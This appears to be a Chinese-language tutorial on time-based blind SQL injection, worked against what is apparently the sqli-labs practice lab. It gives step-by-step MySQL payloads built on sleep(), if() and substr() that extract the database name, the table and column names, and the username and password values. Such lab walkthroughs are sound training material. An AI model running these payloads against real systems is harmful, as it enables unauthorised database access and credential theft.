时间盲注
基于时间的盲注也叫做延时注入,数据交互完成以后目标网站没有错误和正确的页面回显;那么我们可以考虑"绝招"---》 延时注入,其利用条件较为苛刻,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行,当然也需要构造闭合......
使用条件:完全没有变化的页面!!!
布尔盲注和时间盲注的区别
布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态
MySQL函数
sleep()函数 网页延迟n秒后,输出结果
if()函数 条件判断函数
if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
ascii()函数/ord()函数 将某个字符串转化为ascii值
length()函数 获取字符串的长度
substr()/substring()/mid()函数 此函数是用来截取字符串一部分。substr(column_name,start,[length]),length为可选项。
1.判断注入类型
?id=1
?id=1'
?id=1"
没有正确或错误的回显,考虑时间盲注
时间盲注+BP抓包
2.时间函数判断闭合点
?id=1' and sleep(5)--+
?id=1' and if(1=2,1,sleep(5))--+
字符型,闭合点为 '
3.判断数据库长度
?id=1'and if(length(database())>5,sleep(4),1)--+
长度>5
?id=1'and if(length(database())<10,sleep(4),1)--+
5<长度<10
?id=1'and if(length(database())>8,sleep(4),1)--+
5<长度<=8
?id=1'and if(length(database())>7,sleep(4),1)--+
7<长度<=8
数据库长度为8
4.判断数据库名称
第一个字母
?id=1' and if((ascii(substr(database(),1,1))>100),sleep(5),0)--+
100<第一个字母<=122
?id=1' and if((ascii(substr(database(),1,1))>110),sleep(5),0)--+
110<第一个字母<=122
?id=1' and if((ascii(substr(database(),1,1))>115),sleep(5),0)--+
110<第一个字母<=115
?id=1' and if((ascii(substr(database(),1,1))>113),sleep(5),0)--+
113<第一个字母<=115
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),0)--+
第一个字母的ascii码为115,对应字母为 s
第二个字母
?id=1' and if((ascii(substr(database(),2,1))>100),sleep(5),0)--+
100<第二个字母<=122
?id=1' and if((ascii(substr(database(),2,1))>110),sleep(5),0)--+
100<第二个字母<=110
?id=1' and if((ascii(substr(database(),2,1))>105),sleep(5),0)--+
100<第二个字母<=105
?id=1' and if((ascii(substr(database(),2,1))>103),sleep(5),0)--+
100<第二个字母<=103
?id=1' and if((ascii(substr(database(),2,1))>102),sleep(5),0)--+
100<第二个字母<=102
?id=1' and if((ascii(substr(database(),2,1))=101),sleep(5),0)--+
第二个字母的ascll码为101,对应字母为 e
其余字母
?id=1' and if((ascii(substr(database(),1,1))=100),sleep(5),0)--+
database='security'
5.判断表的个数
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1)--+
延时,有四张表
6.判断表的长度
第一张表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),0)--+
第一张表的长度为6
第四张表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(5),0)--+
第四张表的长度为5
7.判断表的名称
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(5),0)--+
第四张表名:users
8.获得字段数
?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1)--+
延时,字段数为3
9.获得字段名
第一个字段
判断第一个字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),0)--+
第一个字段长度为2
判断第一个字段名称
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep (5),0)--+
第一个字段名称为:id
第二个字段
第二个字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(5),0)--+
第二个字段长度为8
第二个字段名称
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep (5),0)--+
第二个字段名称为:username
第三个字段
第三个字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=8,sleep(5),0)--+
第三个字段长度为8
第三个字段名称
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,1))=112,sleep (5),0)--+
第三个字段名称为:password
10.获得数据
username
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)--+
username:Dumb
password
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1)--+
password:Dumb